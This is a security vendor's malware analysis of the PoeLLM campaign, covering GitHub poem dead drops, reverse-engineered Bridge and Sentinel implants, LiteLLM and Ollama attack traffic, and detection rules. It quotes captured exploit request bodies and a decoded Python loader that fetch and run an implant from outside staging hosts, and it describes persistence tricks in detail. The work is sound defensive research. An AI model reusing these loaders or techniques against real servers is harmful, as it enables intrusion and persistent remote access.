Malware analysis at machine speed. From suspicious sample to actionable intelligence in minutes. Discover Caronte
  • Threat Intelligence
  • Malware Analysis
  • Reverse Engineering
  • LiteLLM

Reading the Rest of the Poem: Reconstructing PoeLLM's Hidden Address Book

PoeLLM's operator was hiding command servers in GitHub poems ten months before the malware had a name. One request to our honeypot led us to three more poem channels and 37 command-server addresses.

Zachary Gardner

Zachary Gardner

Researcher at Beelzebub Labs

Reading the Rest of the Poem: Reconstructing PoeLLM's Hidden Address Book

The poem had an address.

On December 9, 2025, a short poem appeared in a fork of discord.js. The numbers in its words encode the address of a command server. A Linux implant reads the poem from GitHub and connects to that address. Change the poem, and every implant that reads it moves to the new server.

Lumen’s Black Lotus Labs named this family PoeLLM on October 7 and measured its reach: almost 2,200 affected servers at the mid-June peak. Their report followed one poem channel. We found three more, with a history going back to December 2025, starting from a single request to one of our honeypots.

Here is the December poem:

The ghost69 verb203 the obj32
place194, adj69 and deep,
Where ghost203 verb32 never sleep.

A adj194 ghost69 in the machine,
On obj203 pathways, unseen.
Mr. Robot claims the night,
In adj32 obj194 light.

Each number is attached to a word. Read the numbers in the order place, ghost, verb, obj, and you get 194.69.203[.]32. The later lines repeat the same four numbers.

TL;DR

  • The poem dead drop dates back to December 9, 2025, four months before the earliest poem in the original report. We recovered 48 of the operator’s commits from three more GitHub channels.
  • Those poems name 37 command addresses, 32 of them not among the 12 previously published PoeLLM command servers. Four of the seven newest had been running AI services before a poem named them.
  • The operator used three poem encodings, introduced in December, April and June. The newest has no numbers or fixed template; it reads as ordinary verse, and only tables inside Sentinel turn it back into an address.
  • Delivery requests target LiteLLM’s CVE-2026-42271 and usually arrive disguised as an MCP server called system-monitor. The implant behind it is a remote-access manager; the miner is a separate component.
  • Nine days before Lumen’s report, our Ollama honeypots began receiving model pulls from rogue registries, with a fixed ID for each target.
  • Exposed LiteLLM and Ollama servers are the targets. Patch versions and hunting guidance are below.

Following one request

On July 18, our LiteLLM honeypot received a POST /mcp-rest/test/connection. This is the MCP test route behind CVE-2026-42271, fixed in LiteLLM 1.83.7. MCP (Model Context Protocol) servers can run as local programs, and on vulnerable versions this test route starts the command a request names. This was not a probe. Its body told the server to fetch /private/manager from a staging host on TCP/81, try a second host if the first failed, and run what it downloaded.

Here is that request, with the addresses defanged and its ID replaced:

{"transport": "stdio", "command": "python3", "args": ["-c", "import subprocess,os;subprocess.Popen(['bash','-c',\"cd /tmp && (wget -q http://178.128.14[.]204:81/private/manager -O manager 2>/dev/null || curl -sf http://178.128.14[.]204:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://178.128.14[.]204:81/private/manager','manager')\\\" || wget -q http://217.76.63[.]67:81/private/manager -O manager 2>/dev/null || curl -sf http://217.76.63[.]67:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager','manager')\\\") && chmod +x manager && nohup ./manager --id <id> >/dev/null 2>&1 &\"],start_new_session=True,stdin=open('/dev/null'),stdout=open('/dev/null','w'),stderr=open('/dev/null','w'))"], "env": {}}

Both download hosts were already in the operator’s address book: GitHub poems had named them as command servers a month earlier.

Delivery requests like this came from 66 source addresses between July 18 and September 30. The steps stayed the same while the packaging changed:

First seenChange
June 24Discovery begins: axios/1.14.0 requests /v1/models, then /openapi.json (48 addresses in June)
July 18Delivery begins: /private/manager over TCP/81, from a primary and a fallback stager
August 14Request bodies arrive as an MCP server configuration named system-monitor; commands carry llrig- labels
August 20Loaders arrive wrapped in Base64, with an in-memory fallback; --port 10 appears
August 24The loader starts choosing an x86-64 or AArch64 build

On August 14 the same steps arrived as plain Python, inside an MCP server configuration:

{"server_name":"system-monitor","transport":"stdio","command":"python3","args":["-c","import os,subprocess;subprocess.call(\"python3 -c \\\"import urllib.request,os,subprocess,time,socket;socket.setdefaulttimeout(12);f='/tmp/.'+str(os.getpid());urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager',f);os.chmod(f,0o755);subprocess.Popen([f,'--id','llrig-<n>'],stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True);time.sleep(2)\\\"\",shell=True)"],"env":{}}

On a vulnerable gateway, the loader runs as that server’s start-up command, and the logs show only an MCP connection test for a server with an ordinary name. The injection starts the implant once; its own persistence keeps it running.

From August 20, the command is a single Base64 blob, python3 -c "import base64;exec(base64.b64decode('…').decode())". This is the August 24 version, decoded:

import ctypes,os,subprocess as P,urllib.request as R,socket,time
socket.setdefaulttimeout(12)
_m='manager-amd64'
if os.uname().machine in ('aarch64','arm64'): _m='manager-arm64'
_url='http://217.76.63[.]67:81/private/'+_m
_args=["--id","llrig-<n>","--port","10"]
_kw=dict(stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True)
_ok=False
try:
  _f='/tmp/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
except Exception:
  pass
if not _ok:
  try:
    _f='/dev/shm/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
  except Exception:
    pass
if not _ok:
  _libc=ctypes.CDLL(None); _fd=_libc.memfd_create(ctypes.c_char_p(b'x'),0)
  os.write(_fd,R.urlopen(_url).read())
  _fp='/proc/self/fd/'+str(_fd)
  P.Popen([_fp]+_args,**_kw,pass_fds=(_fd,)); os.close(_fd); _ok=True
time.sleep(2)

It picks /private/manager-amd64 or /private/manager-arm64 to match the host, saves it as /tmp/.<pid> and runs it with --id llrig-<n> --port 10. If that fails, it tries /dev/shm/.<pid>. If that fails too, it runs the binary from an anonymous memory file. The loader never deletes a failed attempt’s file. A host where the memory-file path ran, for example because /tmp and /dev/shm are mounted noexec, may still hold a copy in those directories.

The honeypots also recorded three patterns in how the operator works:

  • Campaign addresses also ran discovery. Three of the campaign’s command and staging hosts sent us axios/1.14.0 discovery requests, and two more requested the same paths without a user agent. July’s primary stager did so two days after delivery requests named it as the download host.
  • In August, delivery followed discovery within minutes. 16 of that month’s 29 delivery requests reached a honeypot less than ten minutes after the same honeypot had received both axios discovery requests (/v1/models, then /openapi.json). We did not see this pattern in July or September.
  • The same sources checked Ollama first. Three July delivery sources queried our Ollama honeypots’ /api/version between three and 27 hours before their first LiteLLM delivery request.

Reverse engineering Bridge and Sentinel

The delivery requests try to install a manager, not a miner. We reverse-engineered its two most recent builds statically.

The practical concern is persistent remote access. Between them, the two builds can run shell commands, accept files, scan networks the controller chooses, relay traffic, start and restart other programs, and replace themselves with new versions. Removing the miner can leave the operator’s access intact. Static analysis shows what the code can do, not which of these features ran on any host.

Bridge 3.0.7Sentinel 1.5.2
RoleRemote access and scanningSupervisor for operator processes
BuildStatic x86-64, Alpine and musl, mbedTLS 2.28.10UPX-packed AArch64, Alpine and musl, mbedTLS 2.28.10
ConfigurationXOR 0x5AXOR 0x5A, plus strings built on the stack
ResolverThree dead drops, through relays first, then directThe same three dead drops, direct first, then relays
Command channelTCP/5001, TCP and UDPTCP/5002, a separate RC4 stream each way

The shared build environment, configuration key and dead-drop list point to one author. PoeLLM’s other ports belong to the rest of the operation: 3778 to colonna, the operation’s oldest resolver, a modified Mirai build; 1458 to the five fetch relays both builds use; and 9999 to the separate miner.

Bridge 3.0.7: a parser that quotes the poem

Bridge gives its scheme away in its own code. To read the poem, it uses two format strings: The %63s %63s the %63s and %63[^,], %63s and deep,. The second is the poem’s second line, with its numbered words replaced by placeholders. Bridge reads the address as place, ghost, verb, object, saves it to a file named bridge_srv_ip_<id>, and reconnects whenever the poem changes.

Around the resolver sits a remote-access client. Its dispatcher handles SHELL_CMD (runs a command and returns the output), SUBNET_SCAN (targets and ports supplied by the controller), TCP_TUNNEL_OPEN and HTTP_REQUEST (which turn the host into a relay), and chunked, resumable file transfer. Nothing it scans or relays to is hardcoded; the controller supplies every target.

Sentinel 1.5.2: built to be hard to stop

Sentinel is the newer build: a static AArch64 binary packed with UPX 4.21. Some of its strings are XOR-encoded under 0x5A or assembled on the stack at runtime; others are readable once it is unpacked. The same key hides its configuration, which lists the three dead drops and the five relays.

Finding the server. Sentinel fetches each dead drop from GitHub directly, then through the five relays on TCP/1458, trying HTTPS before HTTP, with certificate verification disabled. It makes three passes, with timeouts of 2, 5 and 30 seconds, sleeps a random 0 to 499 ms before each request, and rotates four browser User-Agents. Two are malformed, which makes them easy to match: one claims Edge/124.0, where real Edge sends Edg/. The parser accepts a stanza, a plain dotted address or a simpler numeric format, and validates the result with inet_pton before connecting.

Talking to the controller. Sentinel connects to TCP/5002 by default. Each side opens with four random bytes, and Sentinel mixes both nonces with a 16-byte secret from the binary into two keys: one RC4 stream for sending, one for receiving. Because the keys change with every session, decrypting recorded traffic takes the secret and the two nonces from the start of that connection. Inside the stream, Sentinel registers with a 134-byte frame (the magic value 0x5EC4, its process ID, the --id its loader passed, and the hostname), then takes colon-separated text commands.

What it does. Sentinel is not the payload; it is the platform the operator’s payloads run on. It supervises up to 16 processes, tags each with MANAGED_BY_SENTINEL, keeps a 1,000-line log for each, and records whether each one exited, crashed or was killed by something else on the host. The operator can add, kill and restart those processes (PROC_ADD, PROC_KILL, RESTART_ALL), run shell commands (SHELL:), push files (FILE_SEND:), replace Sentinel itself (CLIENT_UPDATE:), switch it to a new server (FORCE_IP:), or have it remove its own traces (DELETE_TRACE). It installs under one of 16 borrowed daemon names, such as avahi-daemon and packagekit, in directories like /usr/libexec and /var/lib/dbus.

Staying alive. Sentinel’s systemd unit sets KillSignal=SIGCONT and SendSIGKILL=no. So systemctl stop sends a signal that does nothing to a running process, and never follows up with a kill. Behind the unit, an @reboot cron entry and a five-minute pgrep watchdog, both tagged #snt-, start it again, and chattr +i stops its binary from being deleted. The binary also carries strings for injecting a launcher into running python3 processes; we did not trace that path.

Bridge persists more conventionally: a systemd unit, a five-minute cron job that restarts it if systemctl is-active fails, a PostgreSQL archive_command hook, a shell hook at /etc/profile.d/dbus-mgr.sh, and chattr +i.

libgcrypt: the separate mining component

Neither Bridge nor Sentinel contains mining code. That work falls to a separate program, the one in the original PoeLLM report, which installs itself as libgcrypt under ~/.local/share/.syslib/. That report says it also carries a remote shell. In a public malware sandbox it reports to its server on TCP/9999 and mines with XMRig and Iron on Kryptex pools. It also tries to spread: in two sandbox runs it probed about 300 random hosts on LiteLLM’s default port, 4000, and sent the same /mcp-rest/test/connection request to 14 of them. No similarity hash links its code to Bridge or Sentinel, but it shares one habit with Bridge: it writes its server address to a file, /tmp/.srvip.

Sentinel and the miner meet at one address. On June 16, the umbrel channel published 178.128.14[.]204 as a Sentinel command server. On June 17 and 18, the miner connected to the same server in a public malware sandbox.

Where the poems live

Both builds carry the same three dead-drop locations in their configuration. Each points to a fork of a well-known project with one added file, which the operator rewrote again and again in GitHub’s web editor:

Parent projectFork ownerDead-drop fileCommitsActive
discordjs/discord.jsfranchgamer34packages/api-extractor-model/src/items/NewAPi.readme30Dec 9, 2025 to Aug 27, 2026
wszqkzqk/deepin-wine-ubuntualessio756deepin-wine-plugin-virtual_1.0deepin1_all/DEBIAN/control.readme12Mar 7 to Aug 27, 2026
getumbrel/umbrelfrancoryt3packages/umbreld/source/modules/blacklist-uas/blacklist-uas.readme6Mar 12 to Aug 19, 2026

All four accounts, these three and the owner of the previously reported dash.css fork, have since been deleted. Their commits survive: a deleted fork’s commits stay readable through the parent project’s repository, and all 48 of these still resolved on October 12. Our copy of each channel’s history stops on September 2, the last day we could list its commits. The commit hashes are in the dead-drop archive.

The parent projects were not compromised. GitHub shows a fork’s commits under the parent’s URL, so these links point into discord.js, umbrel and deepin-wine-ubuntu although nothing changed in those projects. Do not block them.

Generation 1: numbered verse

The December poem is the first generation. Between December 9, 2025 and June 17, 2026, the operator published 39 numbered verses encoding 31 addresses. Twenty of those addresses went out before April 13, the day the dash.css poem was first committed. On April 13 itself, the discord.js channel published another.

Public malware records corroborate the earliest activity. On December 6, three days before the first verse, URLhaus, MalwareBazaar and VirusTotal logged 194.69.203[.]32:81/hiddenbin/ serving colonna. That is the address the first verse would name. On February 15, VirusTotal received a 446-byte script (c9d56373…) that pulls colonna from 191.37.28[.]163:81, an address the discord.js channel had published two days before. In the sandbox, colonna then beaconed to that host on TCP/3778 and fetched the discord.js channel through a relay.

Generation 2: keyword verse

The original PoeLLM report documented the second generation, in the dash.css fork from April 13. Its two-stanza poem hides four keywords in fixed slots of a template, and a dictionary in the binary maps each one to an octet. The digits are gone, but every keyword still stands for one octet.

Generation 3: the stanza cipher

Sentinel reads a four-line stanza. Each line pairs an opening phrase with an ending, each drawn from a 16-entry table, and the pair gives one octet:

octet = (opening_index << 4) | ending_index

In the made-up line the lighthouse rests at dawn., opening 12 and ending 0 encode 192. The real lines are about moons, rivers, sparrows and lanterns, so each stanza reads as ordinary verse. Only Sentinel’s tables turn it back into an address.

The channels carried eight stanzas between June 16 and August 27, naming seven command addresses. The operator’s own change of format confirms the decoding: the same address appeared as numbered verse on June 17 and as a stanza on June 18.

Four channels, one address book

The dash.css fork draws on the same address book. Five of the 12 published PoeLLM command servers also appear in these three channels: three on the same day they were first seen in the original report’s telemetry, a fourth two days earlier, and a fifth six days later. All four channels work the same way: fork a popular project, add one file, and keep rewriting a short poem inside it. The three fork accounts behind these channels were created within 14 minutes of each other and reuse identical poems across repositories.

AddressFirst seen in the original reportFirst published here
120.224.114[.]212May 9May 7
5.78.73[.]122June 8June 8
15.204.178[.]28June 14June 14
178.128.14[.]204June 16June 16
103.249.201[.]108August 13August 19

Together the three channels name 37 command addresses, 32 of them not among the 12 previously published. Some addresses show the operator returning to the same networks for months. In February the numbered verse named 191.37.28[.]163, in the same /24 as 191.37.28[.]160, the earliest command server in the original report. 101.47.160[.]163, published in April, scanned our honeypots in June and turned up as a staging host in a delivery request in September.

AI services before the poems

Scan and DNS history show AI services on four of the seven addresses named in stanzas before a poem named them: LiteLLM, n8n, ComfyUI or Jupyter. We cannot tell whether the operator compromised these servers or set them up; Lumen reports that the operator has used compromised routers as command servers, and earlier victims to attack new targets. One carried an n8n hostname from May 20 and ran LiteLLM from July 17. A poem named it on July 22, and port 81 appeared three days later.

Everyone gets a number

Nine days before PoeLLM went public, we began observing a new model-pull stage aimed at Ollama. Ollama will download a model from any registry named in a POST /api/pull, including plain-HTTP ones when the request sets "insecure": true, and it has no built-in authentication.

From September 28 to October 5, our Ollama honeypots received 94 such pulls from 67 addresses, naming three registries on TCP/9882:

<registry>:9882/gate/tensorgate
<registry>:9882/r-orig-<id>/usrlocal
<registry>:9882/r-orig-<id>/usr

All three registries had already appeared as staging hosts in PoeLLM’s LiteLLM delivery requests, and one is a published PoeLLM command server.

tensorgate was the same for every target. The <id> was not: each targeted honeypot got its own number and kept it for eight days, across all three registries and every source address. That points to a target list kept by the operator.

usr and usrlocal are Ollama’s two install prefixes. Three days after the last pull, CERT Polska published CVE-2026-103663, in which a crafted pull writes a file outside the model store that can run as root on restart. Our honeypots refused every pull, so we never saw the artifacts. These requests alone cannot tell us whether they were attempts to exploit that vulnerability.

What to hunt

Patch LiteLLM to 1.83.7 or later and Ollama to 0.35.0 or later, and keep both off the public internet. Patching does not remove an implant that is already installed, so also look for the signs below. A matching request shows what was sent, not that anything ran.

  • Ollama: POST /api/pull with "insecure": true and a model name that starts with host:port/, especially gate/tensorgate or r-orig-*. From October 4, a POST /api/generate for does-not-exist-zz came first. Model names live in request bodies, so search logs that keep them.
  • LiteLLM: bodies sent to /mcp-rest/test/connection or /mcp-rest/test/tools/list that define an MCP server, often named system-monitor, whose command downloads /private/manager* from TCP/81. Decode nested JSON and Base64 first.
  • The launched implant: a process started with --id llrig-<n> --port 10, or whose executable is /tmp/.<digits>, /dev/shm/.<digits> or /memfd:x (deleted).
  • Sentinel on a host: /tmp/.snt.lck, /tmp/.snt_x_*, crontab lines tagged #snt-, systemd units with KillSignal=SIGCONT, and MANAGED_BY_SENTINEL in a process environment (/proc/<pid>/environ).
  • Bridge on a host: files named bridge_srv_ip_*, /tmp/.bce_*, /etc/profile.d/dbus-mgr.sh, MANAGED_BY_SYSTEMD in a process environment, and a PostgreSQL archive_command you did not set.
  • Either build: an immutable executable and a five-minute restart cron job. Run chattr -i on the executable first, then remove every persistence mechanism together.
  • On the network: a server process fetching the same raw file from a public GitHub repository again and again.

YARA and Sigma rules are under Detection rules.

The rest of the poem

This investigation started from one request a honeypot did not carry out. A typical access log keeps a route and a status code. Beelzebub kept the body, and the body named a staging path. Ten weeks later, the same infrastructure had assigned four of our honeypots their own target IDs.

Network telemetry shows where an infected server connected. A decoy shows what the server was told to do, and every instruction is a lead. Caronte’s reverse-engineering report on Sentinel gave us its relays and dead-drop paths; we then unpacked and read the build ourselves.

Caronte's Sentinel report showing three GitHub dead-drop URLs, five fetch relays and three command-server addresses.

Caronte’s Sentinel report showing the three GitHub dead drops, five fetch relays and command-server addresses discussed in this article. Click the image to view it at full size.

Our honeypots ran nothing they received, and we analyzed the implants statically. We reported our findings to the relevant authorities in September, before the Ollama stage began.

If system-monitor, tensorgate or a :9882 registry has shown up on your sensors, or you want to see what is reaching your AI gateways and model servers, talk to us. Beelzebub is open source, and you can run it yourself.

Reference material

Network indicators

These indicators are a historical record. An address’s dates show when a poem named it, not how long the operator used it, and some addresses may belong to compromised third parties or have since changed hands. Search past logs with them first, and confirm current activity before you block.

We have withheld the addresses that sent us delivery, discovery and Ollama requests, and the target IDs that would identify our sensors.

IndicatorRoleSeen
62.31.247[.]107:9882Ollama model registry; also named as TCP/81 stagingSep 28 to Oct 4, 2026 (as a registry)
76.13.49[.]213:9882Ollama model registry; also named as TCP/81 stagingSep 28 to Oct 4, 2026 (as a registry)
103.249.201[.]108:9882Ollama model registry; staging on TCP/81; command server named by the umbrel dead drop and previously publishedAug 13 to Oct 5, 2026
<staging>:81/private/manager, /private/manager-amd64, /private/manager-arm64Implant stagingJul 18 to Sep 30, 2026
The 37 decoded addresses belowCommand addresses named in the dead dropsDec 9, 2025 to Aug 27, 2026

The 12 previously published command servers are in the Black Lotus Labs IOC file.

Command addresses with earlier AI services

AddressChannelSeen running firstNamed in a poem
205.209.126[.]135discord.jsn8n (DNS, May 20), LiteLLM (Jul 17)Jul 22
103.249.201[.]108umbrelLiteLLM (Jul 14), n8n (Jul 17)Aug 19
165.245.138[.]247deepin-wine-ubuntuJupyter (Jul 22), ComfyUI (Jul 27)Aug 19
104.36.85[.]28deepin-wine-ubuntuComfyUI (Jul 21)Aug 27

Artifact hashes

SHA-256BuildFormat
7ff0414dd57c9811a3711f3f12a66a611dd0adb00925b44cd728bc81e36e07facolonna.testx86-64, static
c9d5637305f9638f37023fe625d8c5e825de3ede0c2b4ffb8c0f902bd476da21colonna downloader scriptshell
169bb98a3e27c68ccb8cefbabf4d4211c258729b2825aa1e17d36f13b7166c6bBridge loader bins.shshell
3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42Bridge 3.0.7 (python3.6)x86-64, static
7858164459843fd1d708f1ca604cf5e795501a4c881160755b869e2835e04f5dearlier managerx86-64, UPX
d4629c28b9a505f6ea65966a3def61e1f6a218f67da1a7afb27d50b95cb73350Sentinel 1.5.1 (per Caronte)x86-64, UPX
beb825c4d1a51b5b9ad96151a2921ae318be36f13da2f78cb352dd7f2328a7d4Sentinel 1.5.1, unpacked (per Caronte)x86-64, static
0ce90d89c1b4258b14f541c9add80ff13760590f4cf6bf338e22c2258ffe9ecaSentinel 1.5.2AArch64, UPX
f30bf5814c265ab9bb68ebaacd2793db560f68a24d4591e73802f30418cd1751Sentinel 1.5.2, unpackedAArch64, static

Detection rules

The rules are released under the Detection Rule License 1.1.

YARA (5 rules)
/*
  PoeLLM: Linux implant detections
  Families: "Sentinel" process supervisor (1.5.x) and "Bridge" managed agent (3.0.7), plus the
            Python delivery loader sent through LiteLLM MCP test requests (CVE-2026-42271).
  Author: Beelzebub Labs. Date: 2026-10-13. License: DRL 1.1.
  Reference: https://beelzebub.ai/blog/reading-the-rest-of-the-poem/

  Sentinel is packed with stock UPX 4.x (LZMA); its strings exist only after unpacking.
  Recommended: unpack a copy with `upx -d`, then scan with the Sentinel_* rules. The
  UPX_Packed_Build rule is a narrow, build-specific fallback. Test results are in the article.
*/

import "elf"

rule PoeLLM_Sentinel_Unpacked_Strings
{
    meta:
        description = "PoeLLM Sentinel supervisor (unpacked): lock files, supervisor log formats, persistence templates, XOR-0x5A protocol tokens"
        family = "PoeLLM.Sentinel"
        reference_sha256_packed = "0ce90d89c1b4258b14f541c9add80ff13760590f4cf6bf338e22c2258ffe9eca"
        arch = "any (strings are architecture-independent; validated on AArch64 only)"
        date = "2026-10-12"
    strings:
        $s01 = "MANAGED_BY_SENTINEL" ascii
        $s02 = "/tmp/.snt.lck" ascii
        $s03 = "/tmp/.snt_x_%s" ascii
        $s04 = "sigkill_likely:prev_pid:%d:ppid:%d:invid:%d" ascii
        $s05 = "concurrent_start:prev_pid:%d:our_ppid:%d:invid:%d" ascii
        $s06 = "Killed by sentinel" ascii
        $s07 = "[sentinel] exec failed:" ascii
        $s08 = "$3 == \"PyRun_SimpleString\"" ascii
        $s09 = "ExecStart=%s%s%s --no-kill" ascii
        $s10 = "/.i2c_lk_%08x" ascii
        $s11 = "#snt-%08x" ascii
        $s12 = "pgrep -f \"^%s\" >/dev/null 2>&1 || %s%s --no-kill" ascii
        $s13 = "KillSignal=SIGCONT" ascii
        $s14 = "SendSIGKILL=no" ascii
        // command tokens are stored XOR 0x5A and decoded on the stack at runtime
        $x01 = "sntnl_v1" xor(0x5a)
        $x02 = "SNT_TAMPER:" xor(0x5a)
        $x03 = "SHM_CHECK" xor(0x5a)
        $x04 = "PROC_LOGS_RESULT:" xor(0x5a)
        $x05 = "DELETE_TRACE" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and
        ( 5 of ($s*) or 3 of ($x*) or (2 of ($x*) and 2 of ($s*)) )
}

rule PoeLLM_Sentinel_UPX_Packed_Build
{
    meta:
        description = "PoeLLM Sentinel, UPX-packed: static ELF whose UPX p_info declares a known Sentinel original size"
        family = "PoeLLM.Sentinel"
        caveat = "Build-specific: matches known original sizes only (AArch64 1.5.2 = 920760, tested; amd64 1.5.1 = 896512, untested). Prefer unpack-then-scan."
        date = "2026-10-12"
    strings:
        $upx = "UPX!"
    condition:
        uint32(0) == 0x464c457f and filesize < 600KB and
        (uint16(0x12) == 0xb7 or uint16(0x12) == 0x3e) and
        $upx in (0xe0..0x200) and
        for any i in (1..#upx) : (
            @upx[i] < 0x200 and
            ( uint32(@upx[i] + 12) == 920760 or uint32(@upx[i] + 12) == 896512 )
        )
}

rule PoeLLM_Bridge_Strings
{
    meta:
        description = "PoeLLM Bridge managed agent (v3.0.x, static musl x86-64): resolver grammar, persistence and dispatcher strings"
        family = "PoeLLM.Bridge"
        reference_sha256 = "3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42"
        date = "2026-10-12"
    strings:
        $b01 = "/bridge_srv_ip_%s" ascii
        $b02 = "IP_REFRESH: server_connected reset" ascii
        $b03 = "Restarted corollary client services (excluding self)" ascii
        $b04 = "Running under systemd, renaming process via execv" ascii
        $b05 = "The %63s %63s the %63s" ascii
        $b06 = "%63[^,], %63s and deep," ascii
        $b07 = "%s:%s|DESC:%s|VERSION:%s" ascii
        $b08 = "SUBNET_SCAN_START - Session: %s, Target: %s, Ports: %s" ascii
        $b09 = "ATTACKER_WATCHDOG: kill loop detected" ascii
        $b10 = "No postgres environment detected" ascii
        $b11 = "systemctl is-active --quiet %s || systemctl start %s" ascii
        $b12 = "BRIDGE_STANDALONE" ascii
        $b13 = "MANAGED_BY_SYSTEMD" ascii
        $b14 = "Binary hash matches, no update needed" ascii
        $x01 = "/tmp/bridge_clients" xor(0x5a)
        $x02 = "REBOOT_ACK" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and
        ( 4 of ($b*) or (1 of ($x*) and 2 of ($b*)) )
}

rule PoeLLM_XOR5A_Relay_Config
{
    meta:
        description = "PoeLLM (Bridge and Sentinel): XOR-0x5A config holding fetch-proxy rewrites of raw GitHub URLs (:1458/get?url=https://raw.githubusercontent.com/)"
        family = "PoeLLM"
        date = "2026-10-12"
    strings:
        $relay = ":1458/get?url=https://raw.githubusercontent.com/" xor(0x5a)
        $raw   = "https://raw.githubusercontent.com/" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and $relay and #raw >= 3
}

rule PoeLLM_Delivery_Loader_Python
{
    meta:
        description = "PoeLLM delivery loader in LiteLLM MCP test bodies, logs or scripts: Python downloader for the /private/manager implant (July wget form and August urlretrieve form). Decode Base64 wrappers before scanning."
        family = "PoeLLM.Loader"
        scope = "text artifacts: request bodies, proxy logs, process-argument dumps, scripts"
        date = "2026-10-13"
    strings:
        $path1 = "/private/manager" ascii
        $path2 = ":81/private/" ascii
        $arch1 = "manager-amd64" ascii
        $arch2 = "manager-arm64" ascii
        $dl1 = "urlretrieve" ascii
        $dl2 = "wget -q" ascii
        $c1 = "start_new_session=True" ascii
        $c2 = "llrig-" ascii
        $c3 = "system-monitor" ascii
        $c4 = "memfd_create" ascii
        $c5 = "\"--id\"" ascii
        $c6 = "'--id'" ascii
    condition:
        filesize < 2MB and
        ( $path1 or ($path2 and 1 of ($arch*)) ) and
        1 of ($dl*) and 1 of ($c*)
}
Sigma (6 rules)
title: Python One-Liner Download Or Launch Of /private/manager Implant
id: 3cf0b2ba-60fc-5669-a237-4f19718a9392
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Delivery loader spawned through LiteLLM MCP stdio test-connection (CVE-2026-42271): urlretrieve of /private/manager[-arch] to /tmp/.<pid>, then a detached launch with --id llrig-<n>. Later loaders fall back to /dev/shm/.<pid> and then to an anonymous memfd, so the process image may be /memfd:x (deleted).'
tags:
- attack.execution
- attack.t1059.006
- attack.initial-access
- attack.t1190
- cve.2026-42271
logsource:
  category: process_creation
  product: linux
detection:
  selection_dl:
    CommandLine|contains|all:
    - urlretrieve
    - /private/manager
  selection_exec:
    Image|startswith:
    - /tmp/.
    - /dev/shm/.
    - '/memfd:'
    CommandLine|contains: --id llrig-
  condition: 1 of selection_*
falsepositives:
- Not measured
level: critical
---
title: PoeLLM Sentinel Lock And Marker Files
id: 5d10d196-c256-5e65-a913-3cfcbff165e2
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel single-instance lock, per-instance exec marker and hidden install/lock names.
tags:
- attack.persistence
- attack.defense-evasion
- attack.t1564.001
logsource:
  category: file_event
  product: linux
detection:
  selection_exact:
    TargetFilename|endswith:
    - /.snt.lck
    - /.snt_upd
  selection_prefix:
    TargetFilename|startswith: /tmp/.snt_x_
  selection_re:
    TargetFilename|re: /\.i2c_(lk_)?[0-9a-f]{8}$
  condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Sentinel Crontab Reboot And Five-Minute Pgrep Watchdog
id: f7662fba-4529-52c9-aca7-fd1ba31dee93
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel rewrites the user crontab with an @reboot entry and a */5 pgrep -f self-resurrection entry, both passing --no-kill.
tags:
- attack.persistence
- attack.t1053.003
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains|all:
    - crontab -
    - '@reboot'
    - \*/5 \* \* \* \* pgrep -f
    - --no-kill
  condition: selection
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge State Files
id: 785bf9fd-33e2-56d4-a83c-735a3df17730
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Bridge dead-drop result cache (bridge_srv_ip_<id>), client registry and transfer/update temp files.
tags:
- attack.persistence
- attack.t1564.001
logsource:
  category: file_event
  product: linux
detection:
  selection_name:
    TargetFilename|contains: /bridge_srv_ip_
  selection_root:
    TargetFilename|startswith:
    - /tmp/.bce_
    - /tmp/bridge_clients
    - /tmp/bridge_file_
    - /tmp/client_update_
    - /tmp/client_reboot_
    - /var/tmp/.X11-unix-cache/
  condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge Profile.d Hook dbus-mgr.sh
id: dd93345b-d88b-5f06-bc93-6e2b62642275
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Bridge drops /etc/profile.d/dbus-mgr.sh as a login-shell relaunch hook (PostgreSQL persistence tier).
tags:
- attack.persistence
- attack.t1546.004
logsource:
  category: file_event
  product: linux
detection:
  selection:
    TargetFilename: /etc/profile.d/dbus-mgr.sh
  condition: selection
falsepositives:
- Not measured
level: high
---
title: PostgreSQL archive_command Set From Shell
id: 1c8223da-b62e-5949-a617-d0b3334cd022
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Bridge PERSIST_PG installs an archive_command hook so PostgreSQL itself relaunches the implant. Generic: flags shell-side changes to archive_command.'
tags:
- attack.persistence
- attack.t1546
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains: archive_command
  selection_op:
    CommandLine|contains:
    - ALTER SYSTEM
    - postgresql.auto.conf
    - postgresql.conf
    - pg_reload_conf
    - -c archive_command
  condition: selection and selection_op
falsepositives:
